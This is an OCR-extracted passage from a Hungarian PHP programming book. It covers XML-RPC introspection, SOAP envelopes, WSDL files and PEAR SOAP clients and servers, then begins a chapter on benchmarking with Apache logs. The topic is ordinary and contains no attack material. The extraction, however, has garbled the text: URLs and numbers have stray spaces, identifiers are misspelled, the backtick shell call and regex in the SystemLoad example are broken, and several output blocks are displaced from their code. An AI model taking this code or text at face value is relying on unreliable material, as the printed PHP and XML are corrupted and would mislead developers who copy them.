$params = implode(", ", $signatures[$i]) ;
print "Signature #$i: $return $method($params)\n";
}
} else {
print "NO SIGNATURE\n";
}
print "\n";
}
?>

Egy Serendipity webnapló-kiszolgálón futtatva a fenti programot a következő eredményt


kapjuk:

> xmlrpc-listmethods.php http://www.example.org/serendipity_xmlrpc.php

/* ... */

Method metaWeblog.newPost:
Takes blogid, username, password, item_struct, publish_flag
and returns the postid of the new entry
Signature #0: string metaWeblog.newPost(string, string, string,
struct, string)

/* ... */

Method system.listMethods:
This method lists all the methods that the XML-RPC server knows
how to dispatch
Signature #0: array system.listMethods(string)
Signature #1: array system.listMethods()

Method system.methodHelp:
Returns help text if defined for the method passed, otherwise
returns an empty string
Signature #0: string system.methodHelp(string)

Method system.methodSignature:
Returns an array of known signatures (an array of arrays) for
the method name passed. If no signatures are known, returns a
none-array (test for type != array to detect missing signature)
Signature #0: array system.methodSignature(string)
438 PHP fejlesztés felsőfokon

Vagyis magyarul:
metaWeblog.newPost tagfüggvény:
Fogadja a blogid, username, password, item_struct és publish_f lag pa-
ramétereket, majd az új bejegyzés azonosítójával tér vissza.

system. listMethods tagfüggvény:


Felsorol minden olyan tagfüggvényt, melynek kiosztására az XML-RPC kiszolgáló
képes.

system.methodHelp tagfüggvény:
Az átadott tagfüggvény leírásával tér vissza, vagy ha ez nem létezik, egy üres karak-
terlánccal.

system.methodSignature tagfüggvény:
Az átadott tagfüggvény ismert prototípusait (vagyis tömbök egy tömbjét) adja
vissza. Ha nincs ismert prototípus, a visszatérési érték egy nulltömb (ezt a type ! =
array feltétellel vizsgálhatjuk).

SOAP
A SOAP eredetileg a Simple Object Access Protocol (egyszerű objektumelérési protokoll)
rövidítése volt, de az 1.1-es változattól önállósult. A SOAP egy olyan protokoll, amely al-
kalmas változatos környezetbeli adatcserék lebonyolítására. Az XML-RPC-től eltérően, ami
kifejezetten az RPC-k kezelésére hivatott, a SOAP általános üzenetkezelésre készült, így az
RPC-k ügye csak egyike a számos alkalmazásának. Mindazonáltal, fejezetünk az RPC-kről
szól, így most csak a SOAP 1.1 hozzájuk kapcsolódó részéről szólunk.

Hogy is néz ki a SOAP? íme egy SOAP boríték, amely az xmethods . net tőzsdei árfo-
lyam-lekérdező SOAP szolgáltatását alkalmazza a „hivatalos" bemutató példa megvalósítá-
sára, vagyis az IBM tőzsdei árfolyamának lekérdezésére (azért „hivatalos", mert ez a példa
szerepel a SOAP bemutató leírásában):

<?xml version="1.0" encoding="UTF-8"?>


<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2 001/XMLSchema"
xmlns:xsi="http://www.w3.org/2 001/XMLSchema-instance"
xmlns:soap-enc="http://schemas.xmlsoap.org/soap/encoding/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<getQuote xmlns=
"http://www.themindelectric.com/wsdl/net.xmethods.services.stockquote.
StockQuote/"
>
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 439

<symbol xsi:type="xsd:string">ibm</symbol>
</getQuote>
</soap:Body>
</soap:Envelope>

íme a válasz:

<?xml version="1.0" encoding="UTF-8"?>


<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2 0 01/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<n:getQuoteResponse xmlns:n="urn:xmethods-delayed-quotes">
<Result xsi:type="xsd:float">90.2 5</Result>
</n:getQuoteResponse>
</soap:Body>
</soap:Envelope>

A SOAP esete jól példázza azt, hogy egy egyszerű elgondolás nem feltétlenül jár együtt
egyszerű megvalósítással. A SOAP üzenet egy borítékból áll, ami egy fejlécet és egy üze-
nettörzset tartalmaz. Minden elem névtereken található, ami nagyszerű gondolat, de ne-
hézkessé teszi az XML olvasását.

A legkülső címke neve Envelope - ez tartalmazza magát a SOAP üzenetet. Ez az elem az


xmlsoap névtérben található, amit teljes minősített nevéből (<soap: Envelope>) és e
névtér meghatározásából is láthatunk:

xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"

Ez kapcsolatot teremt a soap és az alábbi névtér-URI között:

http://schemas.xmlsoap.org/soap/envelope/

A SOAP és a Schema
A SOAP belső működéseihez igénybe veszi a Schema segítségét, ami egy XML alapú nyelv
adatszerkezetek meghatározására és ellenőrzésére. A közmegegyezés szerint egy elem tel-
jes névtere (például http: //schemas .xmlsoap.org/soap/envelope/) egy, a névte-
ret leíró Schema dokumentum. Ez a meghatározás azonban nem kötelező érvényű - a név-
térnek még csak URL-nek sem kell lennie —, de a teljesség kedvéért ezt alkalmazzák.
440 PHP fejlesztés felsőfokon

A névterek ugyanazt a szerepet töltik be az XML-ben, amit más programozási nyelvekben:


Segítenek elkerülni az ütközéseket két megvalósítás neve között. Vegyük a legfelső szintű
címkét (<soap-env: Envelope>). Az Envelope tulajdonságnév eszerint a soap-env
névtérben található. így hát, ha a FedEX valamilyen okból egy XML formátumot határoz
meg, amely az Envelope tulajdonságot használja, ezt nyugodtan megteheti a teljes
<FedEX: Envelope> névvel, és semmi baj nem történik.

A SOAP Envelope-on belül négy névtér létezik:

• xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" -ASOAP
boríték Schema meghatározása leírja az alapvető SOAP objektumokat - ez a névtér
szerepel minden SOAP kérelemben.
• xmlns:xsi="http://www.w3.org/21/XMLSchema-instance" -Azxsi:type
elemtulajdonság gyakran használatos az elemek típusának megadásánál.
• xmlns:xsd= "http://www.w3.org/21/XMLSchema" - A Schema megad né-
hány alapvető adattípust, melyeket adataink meghatározásánál és az ellenőrzésnél
használhatunk.
• xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding" -
Ez a típuskódolások meghatározása, melyek a szabványos SOAP kérelmekben
megjelennek.

A <GetQuote> elem szintén egy névtérben található - ez esetben egy meglehetősen


hosszú nevűben:
http://www.themindelectric.com/wsdl/
net.xmethods.services.stockquote.StockQuote

Figyeljük meg a Schema használatát a tőzsdei azonosító típusmeghatározásában


és elrendezésében:
<symbol xsi:type="xsd:string">ibm</symbol>

A <symbol> karakterlánc típusú.

Hasonlóan, a válaszban is látható az árfolyam típusának meghatározása:


<Result xsi:type="xsd:float"> 90 .2 5</Result>
Itt láthatjuk, hogy az eredmény egy lebegőpontos szám. Mindez hasznunkra lehet, hiszen
a Schema érvényességi eszközeivel ellenőrizhetjük dokumentumunkat. így például, ha
a válasz a következő alakban érkezik, érvénytelennek tekintik, mivel a f oo nem érvényes
lebegőpontos szám:
<Result xsi:type="xsd:float">foo</Result>
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 441

WSDL
A SOAP méltó párja a WSDL (Web Services Description Language - webszolgáltatás-leíró
nyelv). Ez egy XML alapú nyelv, ami kifejezetten arra szolgál, hogy a webszolgáltatások
(leggyakrabban a SOAP) lehetőségeit és tagfüggvényeit leírjuk. íme egy WSDL fájl, amely
a korábban már alkalmazott tőzsdei szolgáltatás leírását adja:

<?xml version="l.0" encoding="UTF-8" ?>


<definitions name="net.xmethods.services.stockquote.StockQuote"
targetNamespace=
"http://www.themindelectric.com/wsdl/net.xmethods.services.stockquote.
StockQuote/"
xmlns:tns=
"http://www.themindelectric.com/wsdl/net.xmethods.services.stockquote.
StockQuote/"
xmlns:electric="http://www.themindelectric.com/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:xsd="http://www.w3.org/2 001/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<message name="getQuoteResponsel">
<part name="Result" type="xsd:float" />
</message>
<message name="getQuoteRequestl">
<part name="symbol" type="xsd:string" />
</message>
<portType
name="net.xmethods.services.stockquote.StockQuotePortType">
<operation name="getQuote" páraméterOrder="symbol">
<input message="tns:getQuoteRequestl" />
<output message="tns:getQuoteResponsel" />
</operation>
</portType>
<binding name="net.xmethods.services.stockquote.StockQuoteBinding"
type="tns:net.xmethods.services.stockquote.StockQuotePortType">
<soap:binding style="rpc"
transport="http://schemas.xmlsoap.org/soap/http" />
<operation name="getQuote">
<soap:operation soapAction=
*» "urn:xmethods-delayed-quotes#getQuote" />
<input>
<soap:body use="encoded" namespace=
"urn:xmethods-delayed-quotes"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" />
</input>
<output>
<soap:body use="encoded" namespace=
"urn:xmethods-delayed-quotes"
442 PHP fejlesztés felsőfokon

encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" />
</output>
</operation>
</binding>
<service name="net.xmethods.services.stockquote.StockQuoteService">
<documentation>
net.xmethods.services.stockquote.StockQuote web service
</documentation>
<port name="net.xmethods.services.stockquote.StockQuotePort"
binding="tns:net.xmethods.services.stockquote.StockQuoteBinding">
<soap:address location="http:/ / 6 6 .28.98.121:9090/soap" />
</port>
</service>
</definitions>

Látható, hogy a WSDL sem takarékoskodik a névterek használatával, szerkezete pedig kis-
sé felrúgni látszik a logika szabályait.

A kód első vizsgálatra érdemes része a <portType> címke, amely meghatározza a végre-
hajtható műveleteket, valamint a ki- és bevitt üzeneteket. Esetünkben a getQuote művele-
tet adja meg, amely a getQuoteRequestl kérelmet fogadja, és a getQuoteResponsel
választ adja vissza.

A getQuoteResponsel <message> címkéi szerint tartalma egyetlen, f loat típusú


Result elem. Hasonlóképpen, a getQuoteRequestl egyetlen string típusú symbol
elemet tartalmaz.

Következik a <binding> címke. A <portType>-hoz a type tulajdonságon keresztül


kapcsolódik egy kötés, amely megegyezik a <portType> nevével. A kötések a protokoll
és az adatátvitel tulajdonságait határozzák meg (például a SOAP üzenet törzsében elhe-
lyezett adatok kódolását), de a címeket nem. Egy kötés egyetlen protokollhoz tartozhat -
esetünkben a HTTP-hez, kapcsolatukat az alábbi kód adja meg:

<soap:binding style="rpc"
transport="http://schemas.xmlsoap.org/soap/http" />

Végezetül, a <service> címke felsorol néhány kaput, és címeket határoz meg számukra.
Mivel esetünkben csak egyetlen kaput használunk, a következő kóddal hivatkozunk rá és
kötjük a h t t p : / / 6 6 . 2 8 . 98. 121: 9090/soap címhez:

<port name="net.xmethods.services.stockquote.StockQuotePort"
binding="tns:net.xmethods.services.stockquote.StockQuoteBinding">
<soap:address location="http:/ / 6 6 .28.98.121:9090/soap" />
</port>
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 443

Érdemes megjegyeznünk, hogy semmi sem köti a SOAP-ot a HTTP protokollhoz, és vá-
laszt sem kell feltétlenül visszaadnia. Ez egy rugalmas, általános célú protokoll, melynek
a HTTP felett működő RPC csak egyik megvalósítása. A WSDL fájl arról tájékoztat, hogy
milyen szolgáltatások érhetők el, és ezt hogyan és hogyan férhetünk hozzájuk. A kérelmet
és a választ ezután a SOAP valósítja meg.

Szerencsére a PEAR SOAP osztályai elvégzik a munka nagyobb részét. Egy SOAP kérelem
kiadásához először egy új SOAP_Client ügyfélobjektumot kell készítenünk, és át kell ad-
nunk a WSDL fájlt az elérni kívánt szolgáltatásokkal. A SOAP_Client ezután elkészíti az
összes szükséges helyettes kódot a közvetlenül végrehajtott kérelmekhez, legalábbis olyan
esetekben, amikor az adatok mind egyszerű Schema típusoknak feleltethetők meg. Az aláb-
biakban bemutatunk egy teljes ügyfélkérelmet az xmethods.net tőzsdei szolgáltatásához:
require_once "SOAP/Client.php";
$url = "http://services.xmethods.net/soap/
urn:xmethods-delayed-quotes.wsdl";
$soapclient = new SOAP_Client($url, true);
$price = $soapclient->getQuote("ibm")->deserializeBody () ;
print "Current price of IBM is $price\n";
A SOAP_Client ezután átvállalja a helyettes objektum készítésének terhét, mellyel
közvetlenül futtathatjuk a WSDL-ben megadott tagfüggvényeket. A getQuote () hívá-
sát követően a rendszer kicsomagolja az eredményt, és a PHP saját típusaiba írja
a deserializeBody () segítségével. A futtatáskor az alábbi eredményt kapjuk:
> php delayed-stockquote.php
Current price of IBM is 9 0 . 2 5

A sysem.load átírása SOAP szolgáltatássá

SOAP programozói tudásunkat nyomban próbára is tehetjük - kíséreljük meg SOAP alatt
megvalósítani az XML-RPC system. load szolgáltatását.

Először is, SOAP szolgáltatásunkat a SOAP_Service különleges célú változataként kell


megvalósítanunk. Ehhez legalább az alábbi négy függvény megvalósítására szükség van:

• public static f unction getSOAPServiceNamespace () {> - Vissza kell ad-


nunk az általunk meghatározott szolgáltatás névterét.
• public static function getSOAPServiceName () { } - Vissza kell adnunk
szolgáltatásunk nevét.
• public static function getSOAPServiceDescription () { } - Vissza kell
adnunk szolgáltatásunk leírását egy karakterlánc alakjában.
• public static function getWSDLURI () {} - Vissza kell adnunk a szolgáltatást
leíró WSDL fájl URL-jét.

Ezeken felül természetesen meg kell határoznunk saját tagfüggvényeinket is.


444 PHP fejlesztés felsőfokon

íme az új SOAP SystemLoad megvalósítás osztályának meghatározása:

require_once 'SOAP/Server.php';

class ServerHandler_SystemLoad implements SOAP_Service {


public static function getSOAPServiceNamespace()
{ return 'http://example.org/SystemLoad/'; }
public static function getSOAPServiceName()
{ return 'SystemLoadService'; }
public static function getSOAPServiceDescription()
{ return 'Return the one-minute load avergae.'; }
public static function getWSDLURI()
{ return 'http://localhost/soap/tests/SystemLoad.wsdl'; }

public function SystemLoad()


{
$uptime = "uptime";
if(preg_match("/load averages?: ( [ \ d . ] + ) / " , $uptime, $matches)) {
return array( 'Load' => $matches[1]);
}
}
}

Az XML-RPC-től eltérően a SOAP_Service tagfüggvények paramétereiket hagyományos


PHP változók alakjában kapják meg. Visszatéréskor mindössze a válaszüzenet pataméterei-
nek tömbjét kell megadnunk. A névterek választásánál szabad kezet kapunk, de a rendszer
ellenőrzi azokat a megadott WSDL fájl alapján, így egymással összhangban kell legyenek.

Ha meghatároztunk egy szolgáltatást, az XML-RPC-hez hasonlóan be kell jegyeztetnünk.


A következő példában készítünk egy új SOAP_Server objektumot, csatoljuk az új szol-
gáltatást, és utasítjuk a kiszolgálópéldányt a bejövő kérelmek kezelésére:

$server = new SOAP_Server;


$service = new ServerHandler_System_Load;
$server->addService($service);
$server->service('php://input');

Van tehát egy teljes értékű kiszolgálónk, de nincs még meg a WSDL fájl, melyből az ügy-
felek megtudhatnák, hogyan férhetnek hozzá ehhez a kiszolgálóhoz. Ennek elkészítése
nem nehéz feladat - csak sok időbe telik. Lássuk, milyen eredményre számíthatunk:

<?xml version='1.0' encoding='UTF-8'?>


<definitions name='SystemLoad'
targetNamespace='http://example.org/SystemLoad/'
xmlns:tns='http://example.org/SystemLoad/'
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 445

xmlns:soap='http://schemas.xmlsoap.org/wsdl/soap/'
xmlns:xsd='http://www.w3.org/2 001/XMLSchema'
xmlns:soapenc='http://schemas.xmlsoap.org/
soap/encoding/'
xmlns:wsdl='http://schemas.xmlsoap.org/wsdl/'
xmlns='http://schemas.xmlsoap.org/wsdl/'>
<message name='SystemLoadResponse'>
<part name='Load' type='xsd:float'/>
</message>
-cmessage name= ' SystemLoadRequest' />
<portType name='SystemLoadPortType'>
■coperation name= ' SystemLoad'>
<input message='tns:SystemLoadRequest'/>
<output message='tns:SystemLoadResponse'/>
</operation>
</portType>
<binding name='SystemLoadBinding'
type='tns:SystemLoadPortType'>
<soap:binding style='rpc'
transport='http://schemas.xmlsoap.org/soap/http'/>
<operation name='SystemLoad'>
<soap:operation soapAction='http://example.org/SystemLoad/'/>
<input>
<soap:body use='encoded'
*» namespace='http://example.org/SystemLoad/'
encodingStyle='http://schemas.xmlsoap.org/
*■► soap/encoding/ ' />
</input>
<output>
<soap:body use='encoded'
namespace='http://example.org/SystemLoad/'
encodingStyle='http://schemas.xmlsoap.org/
soap/encoding/'/>
</output>
</operation>
</binding>
<service name='SystemLoadService'>
<documentation>System Load web service</documentation>
<port name='SystemLoadPort'
binding='tns:SystemLoadBinding'>
<soap:address
location='http://localhost/soap/tests/SystemLoad.php'/>
</port>
</service>
</definitions>
446 PHP fejlesztés felsőfokon

Nos, itt nem sok újdonság bukkant fel. Figyeljük meg, hogy a névterek egybecsengenek
azzal, amit a ServerHandler_SystemLoad-nál láthattunk, továbbá a SystemLoad pro-
totípusa szerint egy Load nevű lebegőpontos számmal tér vissza.

A szolgáltatáshoz tartozó ügyfél hasonlít a tőzsdés példában látotthoz:

include("SOAP/Client.php");
$url = "http://localhost/soap/tests/SystemLoad.wsdl";
$soapclient = new SOAP_Client($url, true);
$load = $soapclient->SystemLoad()->deserializeBody () ;
print "One minute system load is $load\n";

Amazon webszolgáltatások és összetett típusok

A SOAP egyik legnagyobb előnye az XML-RPC-vel szemben, hogy támogatja a felhaszná-


lók által meghatározott típusokat, melyeket a Schema segítségével készíthetnek el és el-
lenőrizhetnek. A PEAR SOAP-megvalósítása pedig képes automatikusan átírni e saját vál-
tozókat a PHP típusaira.

Mindennek bemutatására lássuk, miként kereshetünk meg egy szerzőt az Amazon. com
webszolgáltatási API-jával. Az Amazon nagy hangsúlyt fektet webszolgáltatásainak megfe-
lelő működésére, és elérhetővé teszi minden keresési lehetőségét a SOAP-on keresztül.
Az Amazon API használatához fejlesztőként kell bejegyeztetnünk magunkat az Amazon
webhelyén, awww.amazon.com/gp/aws/landing.html címen.

Ha belepillantunk az Amazon WSDL fájljába, láthatjuk, hogy a szerző keresésének műve-


lete az alábbi blokkban található (http: //soap.amazon. com/schemas2/Amazon-
WebServices. wsdl):

<operation name="AuthorSearchRequest">
<input message="typens:AuthorSearchRequest" />
<output message="typens:AuthorSearchResponse" />
</operation>

A kimeneti és bemeneti üzenetek típusát itt az alábbiak szerint határozzák meg:


<message name="AuthorSearchRequest">
<part name="AuthorSearchRequest" type="typens:AuthorRequest" />
</message>

és

<message name="AuthorSearchResponse">
<part name="return" type="typens:ProductInfo" />
</message>
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 447

Mindkettő saját, a Schema-ban meghatározott típus. íme az AuthorRequest típusos


meghatározása:

<xsd:complexType name="AuthorRequest">
<xsd:all>
<xsd:element name="author" type="xsd:string" />
<xsd:element name="page" type="xsd:string" />
<xsd:element name="mode" type="xsd:string" />
<xsd:element name="tag" type="xsd:string" />
<xsd:element name="type" type="xsd:string" />
<xsd:element name="devtag" type="xsd:string" />
<xsd:element name="sort" type="xsd:string" minOccurs="0" />
<xsd:element name="variations" type="xsd:string" minOccurs="0" />
<xsd:element name="locale" type="xsd:string" minOccurs="0" />
</xsd:all>
</xsd:complexType>

Ahhoz, hogy ezt a típust PHP-ben is megjeleníthessük, készítenünk kell egy erre a célra
szolgáló osztályt, amely a SchemaTypelnf o felületet is megvalósítja. Ehhez két művele-
tet kell megírnunk:

• public static function getTypeName () { } - Visszaadja a típus nevét.


• public static function getTypeNamespace () { } - Visszaadja a típus névterét.

Esetünkben az osztály egyszerűen a tulajdonságok tárolójaként viselkedik. Mivel ezek


a Schema alaptípusai, nincs szükség további erőfeszítésre.

Lássuk tehát az AuthorRequest burkolóosztályát:

class AuthorRequest implements SchemaTypelnfo {


public $author;
public $page;
public $mode;
public $tag;
public $type;
public $devtag;
public $sort;
public $variations;
public $locale;

public static function getTypeName()


{ return 'AuthorRequest';}
public static function getTypeNamespace()
{ return 'http://soap.amazon.com';}
}
448 PHP fejlesztés felsőfokon

A szerző szerinti keresés megvalósításához először készítenünk kell egy SOAP_Client


helyettes objektumot az Amazon WSDL fájlból:

require_once 'SOAP/Client.php';
$url = 'http://soap.amazon.com/schemas2/AmazonWebServices.wsdl';
$client = new SOAP_Client($url, true);

Ezután hozzunk létre egy AuthorRequest objektumot, és töltsük fel a keresés adataival:

$authreq = new AuthorRequest;


$authreq->author = 'schlossnagle';
$authreq->mode = 'b o ok s ';
$authreq->type = 'l i t e 1 ;
$authreq->devtag = 'DEVTAG';

Az eredményt a ProductInfo típusban kapjuk vissza, ami túlzottan összetett ahhoz,


hogy a felépítésével itt foglalkozzunk. Mindazonáltal az alábbi rövid kóddal gyorsan utá-
najárhatunk, mely könyvek szerzőit hívták Schlossnagle-nek:

$result = $client->AuthorSearchRequest($authreq)->deserializeBody();

Futtatása után az alábbi eredményt kapjuk:

foreach ($result->Details as $detail) {


print "Title: $detail->ProductName, ASIN: $detail->Asin\n";
}

Helyettes kód készítése


Nem nehéz feladat olyan kódot írni, ami dinamikusan elkészíti a helyettes (proxy) objek-
tumokat a WSDL-ből, de ez a folyamat meglehetősen sok értelmezési munkával jár, amit
jobb elkerülni, különösen, ha egy webszolgáltatást gyakran hívnak. A SOAP WSDL-
kezelője képes elkészíteni a PHP kódot, így közvetlenül is lebonyolíthatjuk a hívásokat,
anélkül, hogy újra és újra át kellene vizsgálni a WSDL fájlt.

A helyettes kód elkészítésének érdekében töltsük be az URL-t az MSDLManager: : get ()


tagfüggvénnyel, és hívjuk meg a generateProxyCode () függvényt. Mindezt most
a SystemLoad WSDL fájl példáján mutatjuk be:

Title: Advanced PHP Programming, ASIN: 0672325616


16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 449

A futtatás után az alábbi kódhoz jutunk:

require_once 'SOAP/WSDL.php';
$url = "http://localhost/soap/tests/SystemLoad.wsdl";
$result = WSDLManager::get($url) ;
print $result->generateProxyCode();

Mostantól a WSDL fájl értelmezése helyett közvetlenül ezt az osztályt hívhatjuk:

class WebService_SystemLoadService_SystemLoadPort extends SOAP_Client


{
public function _____ construct()
{
parent: :__ construct("http://localhost/soap/tests/
SystemLoad.php" , 0);
}
function SystemLoad() {
return $this->call("SystemLoad",
$v = array(),
array('namespace'=>'http://example.org/SystemLoad/',
1soapaction'=>'http://example.org/SystemLoad/',

'style'=>'rpc',
'use'=>'encoded' )) ;
}
}

A SOAP és az XML-RPC összehasonlítása


Melyik RPC protokollt alkalmazzuk - a SOAP vagy az XML-RPC mellett tegyük le voksun-
kat? Nos, sok esetben a körülmények nem hagynak túlzottan nagy mozgásteret. Ha olyan
szolgáltatást valósítunk meg, ami meglevő ügyfelekkel vagy kiszolgálókkal érintkezik, el-
vesztjük a döntés lehetőségét. így a SOAP felület használata webnaplónkban érdekes kí-
sérlet lehet, de valószínűleg nem képes együttműködni más, már eleve meglevő eszkö-
zökkel. Ha az Amazon vagy a Google API-jaival szeretnénk együttműködni, ismét csak
egyértelmű a válasz: a SOAP-ot kell használnunk.

Ha azonban új szolgáltatást telepítünk, és szabad kezet kapunk a választásban, az alábbia-


kat érdemes megfontolnunk:

• A megvalósítás szemszögéből nézve az XML-RPC sokkal kevesebb kezdeti erőfeszí-


tést igényel, mint a SOAP.
• Az XML-RPC kisebb dokumentumokat készít, melyek értelmezése kevésbé költsé-
ges, mint a SOAP-pal készítetteké.
450 PHP fejlesztés felsőfokon

• A SOAP lehetővé teszi a Schema segítségével meghatározott saját típusok használa-


tát. Ez módot ad az adatok érvényességének hatékonyabb ellenőrzésére, valamint
az automatikus típusátalakításra az XML és a PHP között. Az XML-RPC-ben minden-
féle összetettebb adatcsomagolást kézzel kell elvégeznünk.
• A WSDL nagyszerű eszköz. A SOAP automatikus felderítési és helyetteskód-készíté-
si képességei jobbak az XML-RPC-ben elérhetőknél.
• A SOAP jelentős támogatást kap az IBM-től, a Microsofttól, valamint számos, a sike-
rében érdekelt internetes vállalattól. Mindez azt jelenti, hogy e cégek a múltban és
a jövőben is jelentős anyagi erőforrásokat és időt szentelnek arra, hogy javítsák
a SOAP együttműködési készségét és a SOAP-hoz kötődő segédeszközöket fej-
lesszenek.
• A SOAP általános, bővíthető eszköz, míg az XML-RPC célirányos protokoll, vi-
szonylag merev meghatározással.

Az XML-RPC-t vonzóan egyszerű megoldásnak tartom olyankor, amikor a megvalósítandó


RPC mindkét oldala felett befolyásom van. Ilyen esetekben a helyes automatikus felderí-
tés és a helyettes kód készítésének hiánya nem okoz fejfájást. Ha azonban olyan szolgál-
tatást telepítek, melyet mások is támogatnak, mindenképpen a SOAP választását tartom
jobbnak széleskörű támogatottsága és hatékony segédeszközei miatt.

További olvasmányok
A távoli szolgáltatásokkal való együttműködés témaköre igen széles, sokkal szélesebb an-
nál, mint amennyit e fejezet átfogni képes. A SOAP különösen érdekes, fejlődő szabvány;
maga is megérdemelne egy külön könyvet. A következőkben néhány hasznos forrásmun-
kát mutatunk be, témakörök szerint csoportosítva.

SOAP
A SOAP leírása megtalálható a http: //www.w3 .org/TR/SOAP/ címen.

A http: //www. soapware.org/bdg nagyszerű bevezetést ad a SOAP használatába.

Shane Caraveo webszolgáltatásokról adott előadásainak anyaga a http: //talks .php.net


címen segít megérteni, mi szükséges a SOAP sikeres használatához a PHP-ben. Jó tudnunk,
hogy Shane a PHP 5 SOAP-megvalósításának vezető fejlesztője.

XML-RPC
Az XML-RPC leírása megtalálható a http: //www.xmlrpc .com/spec címen.

Dave Winer, az XML-RPC megalkotója egy kellemes bevezető írását a következő címen
lelhetjük meg: http: //davenet. scripting.com/19 9 8/07/14/xmlRpcForNewbies.
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 451

Webnaplózás
A Blogger API leírását a http: //www.blogger. com/developers/api/l_docs címen
találhatjuk meg.

A MetaWeblog API leírása a http: / /www.xmlrpc . com/metaWeblogApi címen található.

A MovableType bővítményeket kínál mind a MetaWeblog, mind a Blogger API-hez.


Leírásuk a http://www.movabletype.org/docs/mtmanual_programmatic.html
címen megtalálható.

Az RSS egy nyílt XML formátum tartalom-közzétételhez. Leírását


a http: //blogs . law.harvard. edu/tech/rss címen lelhetjük meg.

Az XML-RPC példáinkban szereplő Serendipity webnaplózó rendszer


a http: //www. s9y.org címen érhető el.

Nyilvánosan elérhető webszolgáltatások


A http: / /xmethods . net kifejezetten a webszolgáltatások fejlesztéséhez (elsősorban
a SOAP és a WSDL alkalmazásokhoz) nyújt segítséget. Itt ingyenesen elérhető webszol-
gáltatások garmadáját találhatjuk, a szerkesztők pedig az együttműködési képességek pró-
bára tételére hívnak fel.

Az Amazon rendelkezik egy szabad SOAP felülettel. A részletekről


a http: //www. amazon.com/gp/aws/landing.html címen érdeklődhetünk.

A Google is rendelkezik szabad SOAP keresőfelülettel.


Erről a http: / /www. google. com/apis címen olvashatunk.
Teljesítmény
Teljesítménymérés:
teljes alkalmazások tesztelése

Az alkalmazások teljesítményének mérése nehéz feladat. Szükség van egy profilkészítőre,


különböző beállításcsoportokkal kell futtatásokat végeznünk, és gyakran a kimerítő elem-
zés is elengedhetetlen. Nagy, illetve bonyolult programok esetében a profilkészítés-han-
golás ciklusa akár napokig is elhúzódhat.

A profilkészítés olyan, mint a nyomozás - felderíteni a gyenge pontokat és elemezni


a könyvtárak tulajdonságát nagyszerű játék. De hol kezdjük a munkát, ha 1000 PHP oldal
áll előttünk? Hogyan vizsgáljuk meg hatékonyan alkalmazásunk „egészségi állapotát"?

Más részről, ott van a terhelésvizsgálat feladata is. Tegyük fel, hogy projektünk, melyen
hat hónapig dolgoztunk, csaknem elkészült, főnökünk pedig azt követeli, hogy a rend-
szer képes legyen megfelelni 1000 felhasználó terhelésének. Miként biztosíthatjuk, hogy
valóban elegendő lesz a kapacitás? Hogyan fedezzük fel a szűk keresztmetszeteket, mie-
lőtt élesben kellene alkalmaznunk művünket?

Ezekre a kihívásokra sajnos túl sok fejlesztő válaszol a próba-szerencse módszerének al-
kalmazásával. Persze esetenként az ilyen módszerek is lehetnek eredményesek - sok fej-
lesztő cég rendelkezik olyan szakemberrel, aki más versenytársaknál 10-szer vagy akár
100-szor nagyobb hatékonysággal deríti fel a hibákat, de még így is csak a gondok egyti-
zedére akadnak rá.

Ismerem ezt a világot - magam is ilyen fejlesztő voltam. Értettem az alkalmazás működé-
sét, és nem is voltam buta fickó. Ha adtak egy nap gondolkodási időt, és kedvemre pró-
bálgathattam, számos olyan feladatot megoldottam, ami más fejlesztőkön kifogott. Mindez
meglehetős tiszteletet vívott ki számomra a kollégák között - legalábbis sokan csodálták
ezt a majdhogynem misztikus képességemet a gondok forrásának megtalálására.
456 PHP fejlesztés felsőfokon

Történetem célja azonban nem az, hogy meggyőzzem az Olvasót arról, milyen nagyszerű ké-
pességekkel rendelkezem - valójában a cél éppen ennek ellenkezője. Módszereim ugyanis
meglehetősen esetlegesek és kevéssé célzottak voltak. Még ha okosan gondolkodtam is,
a megfelelő teljesítménymérési eljárások sokkal gyorsabban rávilágítottak volna a gondok
gyökereire - ráadásul mindezt valószínűleg nálam jóval hatékonyabban tették volna.

Az alkalmazás teljesítményének mérése nagyléptékű vizsgálatot jelent - az alábbi lehető-


ségekkel:

• A szolgáltatások kapacitástervének összeállítása.


• A profílkészítést és teljesítményhangolást igénylő oldalak felderítése.
• Az alkalmazás „egészségének" megértése.

Az alkalmazás teljesítményvizsgálata nem mutat rá az egyes javítandó kódrészletekre.


Ha meghatároztuk a komolyabb vizsgálatot igénylő oldalak listáját, ezek elemzését már
a 19. fejezet módszereivel végezhetjük.

A szűk keresztmetszetek passzív azonosítása


A nagyléptékű rendszerek szűk keresztmetszetének azonosítására a legkézenfekvőbb
módszere az, ha olyan adatokat vizsgálunk meg, melyeket már begyűjtöttünk, vagy igen
könnyen elérhetők. Az ilyen vizsgálatok legegyszerűbbike az oldalak letöltési idejének át-
tekintése az Apache elérési naplóiban.

A általános naplóformátum nem tartalmaz „eltelt idő" mezőt, de maga a naplózó rendszer
támogatja a használatát. Ahhoz, hogy az oldal szolgáltatásához szükséges időt is feltüntes-
sük (másodpercben), a LogFormat sort a %T beállítással kell kiegészítenünk:

LogFormat "%h %1 %u %t \ " % r \ " %>s %b \"%{Referer)i\"


\"%{User-Agent}i\" %T"
combinedplus

